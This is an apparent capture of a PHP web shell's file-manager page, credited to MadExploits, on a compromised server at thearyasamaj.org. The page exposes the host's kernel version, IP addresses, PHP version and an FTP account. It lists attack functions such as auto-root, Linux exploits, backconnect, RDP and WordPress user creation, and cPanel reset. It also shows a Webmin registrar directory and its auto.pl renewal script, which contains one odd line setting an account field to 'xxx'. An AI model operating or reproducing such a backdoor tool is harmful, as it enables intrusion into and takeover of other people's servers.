Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.213
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
virtualmin-registrar /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
newfeatures
[ DIR ]
drwxr-xr-x
CHANGELOG
990
B
-rw-r--r--
LICENSE
34.32
KB
-rw-r--r--
auto.pl
3.16
KB
-rwxr-xr-x
cgi_args.pl
857
B
-rwxr-xr-x
config
46
B
-rw-r--r--
config.info
271
B
-rw-r--r--
config.info.de
135
B
-rw-r--r--
config.info.nl
214
B
-rw-r--r--
countries.txt
9.3
KB
-rw-r--r--
create.cgi
1.16
KB
-rwxr-xr-x
create_form.cgi
936
B
-rwxr-xr-x
defaultacl
12
B
-rw-r--r--
delete.cgi
1.97
KB
-rwxr-xr-x
dereg.cgi
1.28
KB
-rwxr-xr-x
distribute-type-lib.pl
16.68
KB
-rwxr-xr-x
edit.cgi
3.27
KB
-rwxr-xr-x
edit_auto.cgi
1.91
KB
-rwxr-xr-x
edit_contact.cgi
4.18
KB
-rwxr-xr-x
edit_dereg.cgi
1.04
KB
-rwxr-xr-x
edit_import.cgi
1.38
KB
-rwxr-xr-x
edit_ns.cgi
2.04
KB
-rwxr-xr-x
edit_onecontact.cgi
2.93
KB
-rwxr-xr-x
edit_renew.cgi
1.67
KB
-rwxr-xr-x
edit_transfer.cgi
1.48
KB
-rwxr-xr-x
gandi-type-lib.pl
14.21
KB
-rwxr-xr-x
import.cgi
2.01
KB
-rwxr-xr-x
index.cgi
2.58
KB
-rwxr-xr-x
install-type
4
B
-rw-r--r--
list.cgi
1.73
KB
-rwxr-xr-x
list_contacts.cgi
1.59
KB
-rwxr-xr-x
module.info
125
B
-rw-r--r--
module.info.af.auto
42
B
-rw-r--r--
module.info.ar.auto
43
B
-rw-r--r--
module.info.be.auto
55
B
-rw-r--r--
module.info.bg.auto
70
B
-rw-r--r--
module.info.ca.auto
39
B
-rw-r--r--
module.info.cs.auto
38
B
-rw-r--r--
module.info.da.auto
39
B
-rw-r--r--
module.info.de
39
B
-rw-r--r--
module.info.el.auto
45
B
-rw-r--r--
module.info.es.auto
42
B
-rw-r--r--
module.info.eu.auto
41
B
-rw-r--r--
module.info.fa.auto
37
B
-rw-r--r--
module.info.fi.auto
50
B
-rw-r--r--
module.info.fr.auto
45
B
-rw-r--r--
module.info.he.auto
39
B
-rw-r--r--
module.info.hr.auto
39
B
-rw-r--r--
module.info.hu.auto
41
B
-rw-r--r--
module.info.it.auto
40
B
-rw-r--r--
module.info.ja.auto
37
B
-rw-r--r--
module.info.ko.auto
32
B
-rw-r--r--
module.info.lt.auto
46
B
-rw-r--r--
module.info.lv.auto
42
B
-rw-r--r--
module.info.ms.auto
38
B
-rw-r--r--
module.info.mt.auto
47
B
-rw-r--r--
module.info.nl
38
B
-rw-r--r--
module.info.no.auto
38
B
-rw-r--r--
module.info.pl.auto
38
B
-rw-r--r--
module.info.pt.auto
40
B
-rw-r--r--
module.info.pt_BR.auto
43
B
-rw-r--r--
module.info.ro.auto
41
B
-rw-r--r--
module.info.ru.auto
57
B
-rw-r--r--
module.info.sk.auto
40
B
-rw-r--r--
module.info.sl.auto
38
B
-rw-r--r--
module.info.sv.auto
42
B
-rw-r--r--
module.info.th.auto
71
B
-rw-r--r--
module.info.tr.auto
36
B
-rw-r--r--
module.info.uk.auto
53
B
-rw-r--r--
module.info.ur.auto
49
B
-rw-r--r--
module.info.vi.auto
42
B
-rw-r--r--
module.info.zh.auto
28
B
-rw-r--r--
module.info.zh_TW.auto
31
B
-rw-r--r--
namecheap-type-lib.pl
15.86
KB
-rw-r--r--
newgandi-type-lib.pl
22.86
KB
-rwxr-xr-x
rcom-type-lib.pl
21.94
KB
-rwxr-xr-x
renew.cgi
1.18
KB
-rwxr-xr-x
save.cgi
3.17
KB
-rwxr-xr-x
save_auto.cgi
1.96
KB
-rwxr-xr-x
save_contact.cgi
2.06
KB
-rwxr-xr-x
save_ns.cgi
1.79
KB
-rwxr-xr-x
save_onecontact.cgi
2.27
KB
-rwxr-xr-x
transfer.cgi
1.43
KB
-rwxr-xr-x
update_contacts.cgi
1.31
KB
-rw-r--r--
view_contact.cgi
1.42
KB
-rwxr-xr-x
virtual_feature.pl
12.34
KB
-rwxr-xr-x
virtualmin-registrar-lib.pl
7.98
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : auto.pl
#!/usr/bin/perl # Automatically renew domains close to expiry use strict; no strict 'refs'; use warnings; our (%text); package virtualmin_registrar; no warnings "once"; $main::no_acl_check++; use warnings "once"; require './virtualmin-registrar-lib.pl'; &foreign_require("mailboxes", "mailboxes-lib.pl"); # Do accounts with renewal foreach my $account (grep { $_->{'autodays'} || $_->{'autowarn'} } &list_registrar_accounts()) { # Find domains, and get expiry for each my @rv; my @wrv; my $warncount = my $donecount = 0; my @doms = &find_account_domains($account); my $efunc = "type_".$account->{'registrar'}."_get_expiry"; my $rfunc = "type_".$account->{'registrar'}."_renew_domain"; foreach my $d (@doms) { my $msg; my $wmsg; my ($ok, $exp) = &$efunc($account, $d); if (!$ok) { # Couldn't get it! $msg = &text('auto_eget', $exp); } elsif ($account->{'autodays'} && $exp - time() < $account->{'autodays'}*24*60*60) { # Time to renew! $account->{'rcom_account'} = "xxx"; my ($ok, $rmsg) = &$rfunc($account, $d, $account->{'autoyears'}); if ($ok) { $msg = &text('auto_done', $account->{'autoyears'}); } else { $msg = &text('auto_failed', $rmsg); } $donecount++; } elsif ($account->{'autowarn'} && $exp - time() < $account->{'autowarn'}*24*60*60) { # Time to send warning $wmsg = &text('auto_warnmsg', int(($exp - time()) / (24*60*60))); $warncount++; } # Add to results lists if ($msg) { push(@rv, [ $account, $d, $msg ]); } if ($wmsg) { push(@wrv, [ $account, $d, $wmsg ]); } } # Send email to master admin and possibly domain owners if any # renewals were done if ($donecount) { if ($account->{'autoemail'}) { &send_auto_email(\@rv, $account->{'autoemail'}, $text{'auto_subject'}, $text{'auto_results'}); } if ($account->{'autoowner'}) { foreach my $e (&unique(map { $_->[1]->{'emailto'} } @rv)) { my @rve = grep { $_->[1]->{'emailto'} eq $e } @rv; &send_auto_email(\@rve, $e, $text{'auto_subject'}, $text{'auto_results'}); } } } # Send email to if any expiry warnings were generated if ($warncount) { if ($account->{'autoemail'}) { &send_auto_email(\@wrv, $account->{'autoemail'}, $text{'auto_wsubject'}, $text{'auto_wresults'}); } if ($account->{'autoowner'}) { foreach my $e (&unique(map { $_->[1]->{'emailto'}} @wrv)) { my @rve = grep { $_->[1]->{'emailto'} eq $e } @wrv; &send_auto_email(\@rve, $e, $text{'auto_wsubject'}, $text{'auto_wresults'}); } } } } # send_auto_email(&messages, email, subject-line, body-heading) # Send email about some renewals or warnings to an address sub send_auto_email { my ($rv, $email, $subject, $heading) = @_; my $msg = join("\n", &mailboxes::wrap_lines($heading, 70))."\n\n"; my $fmt = "%-40.40s %-39.39s\n"; $msg .= sprintf $fmt, $text{'auto_rdom'}, $text{'auto_rmsg'}; $msg .= sprintf $fmt, ("-" x 40), ("-" x 39); foreach my $r (@$rv) { $msg .= sprintf $fmt, $r->[1]->{'dom'}, $r->[2]; } $msg .= "\n"; &mailboxes::send_text_mail( &virtual_server::get_global_from_address(), $email, undef, $subject, $msg); }
Close
